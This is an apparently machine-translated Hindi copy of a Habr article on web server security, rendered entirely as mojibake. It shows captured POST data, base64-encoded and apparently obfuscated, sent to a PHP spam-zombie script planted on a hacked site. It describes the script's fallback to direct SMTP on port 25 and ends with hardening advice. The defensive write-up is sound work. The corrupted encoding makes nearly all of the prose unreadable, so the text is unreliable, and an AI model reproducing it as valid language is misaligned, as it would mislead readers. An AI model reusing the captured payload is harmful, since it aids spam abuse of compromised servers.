рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ .htaccess рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рд╡рд┐рдиреНрдпрд╛рд╕ рдХреЛ рдореБрдЦреНрдп рдЕрдкрд╛рдЪреЗ рд╡рд┐рдиреНрдпрд╛рд╕ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

"рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛" рдореЗрдВ


рддреЛ рд▓реЛрдЧ рдЖрдкрдХреА рд╕рд╛рдЗрдЯ рдХреЛ рд╣реИрдХ рдХреНрдпреЛрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрдирдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдХреНрдпрд╛ рдорддрд▓рдм рд╣реИ? рдХреБрдЫ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдПрдХ рд╢реМрдХ рд╣реИ, рд▓реЗрдХрд┐рди рджреВрд╕рд░реЛрдВ рдХреЗ рд▓рд┐рдП, рдЖрдп рдХрд╛ рдПрдХ рд╕реНрд░реЛрдд рд╣реИред

рдпрд╣рд╛рдБ рдПрдХ рд╣реИрдХрд┐рдВрдЧ рд╕рд╛рдЗрдЯ рдкрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ ред рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдкреЛрд╕реНрдЯ рдСрдкрд░реЗрд╢рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдмреЗрдХрд╛рд░ рд╣реЛрдВрдЧреЗред рдореИрдВ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓реЙрдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛:

 Array ( [lsRiY] => YGFsZWN2bXBCY21uLGFtbw== [eIHSE] => PNxsDhxNdV [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8= [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei InZjaWdsIiI+LXI8CD4tUUBNRls8CA== [GGhp] => a3ZAbFFTSlJSbFo= [AIQXa] => e3VWT2VvQ0hyS0ha ) 

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рд╕реНрдкреИрдо рдЬрд╝реЛрдВрдмреА рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдХреЛ рднреА рдИрдореЗрд▓ рднреЗрдЬреЗрдЧрд╛ рдЬреЛ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд╛рдХ рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдЧрд╛ред рдкреНрд░рддреНрдпреЗрдХ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреБрдВрдЬрд┐рдпрд╛рдБ рдмрджрд▓ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд╣реБрдд рд╕рдВрд╕рд╛рдзрдирдкреВрд░реНрдг рд╣реИ, рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреА рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рди рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ php рдореЗрд▓ () рдЕрдиреБрдкрд▓рдмреНрдз рд╣реИ, рддреЛ рдпрд╣ 25 рдкреЛрд░реНрдЯ рдкрд░ рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рдиреЗ рдФрд░ рд╕реАрдзреЗ SMTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред

рдпрджрд┐ рдЖрдк рдШреБрд╕рдкреИрдард┐рдпреЛрдВ рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рддреЛ n9a2d8ce3 рдирд╛рдордХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдорд┐рд╕реНрдЯреАрд░рд┐рдпрд╕ POST рдбреЗрдЯрд╛ рдПрдлрд┐рдХреНрд╕ рдбреЗрд╕реНрдЯрд┐рдиреЗрд╢рди рдПрдбреНрд░реЗрд╕ рдФрд░ рдИ-рдореЗрд▓ рдХрдВрдЯреЗрдВрдЯред

рдпрджрд┐ рдЖрдк рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рджреА рдЧрдИ рд╕рд▓рд╛рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рдЗрд╕ рддрд░рд╣ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдирд┐рд╖реНрдХрд░реНрд╖


рдпрджрд┐ рдЖрдк рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдЬреИрд╕реА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ php рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рди рдХреЗрд╡рд▓ рдореВрд▓ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдкрдбреЗрдЯ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ, рдмрд▓реНрдХрд┐ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдЬреИрд╕реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд▓рд┐рдП рднреАред рдЕрдзрд┐рдХрд╛рдВрд╢ рд╣рдорд▓рд╛рд╡рд░ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╡рд╛рд▓реЗ рд╣рдЬрд╛рд░реЛрдВ рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрдордЬреЛрд░ рд╣реИрдВ, рддреЛ рд╡реЗ рдЕрдВрддрддрдГ рдЖрдкрдХреЛ рдкрд╛рдПрдВрдЧреЗред

рдпрджрд┐ рдЖрдк рдПрдХ рд╡рд╛рдЪрд╛ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╕рднреА рд╕рдорд╛рди, рдЖрдкрдХреЛ рд▓рдЧрд╛рддрд╛рд░ рдХреЛрдб рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

Source: https://habr.com/ru/post/In188878/


All Articles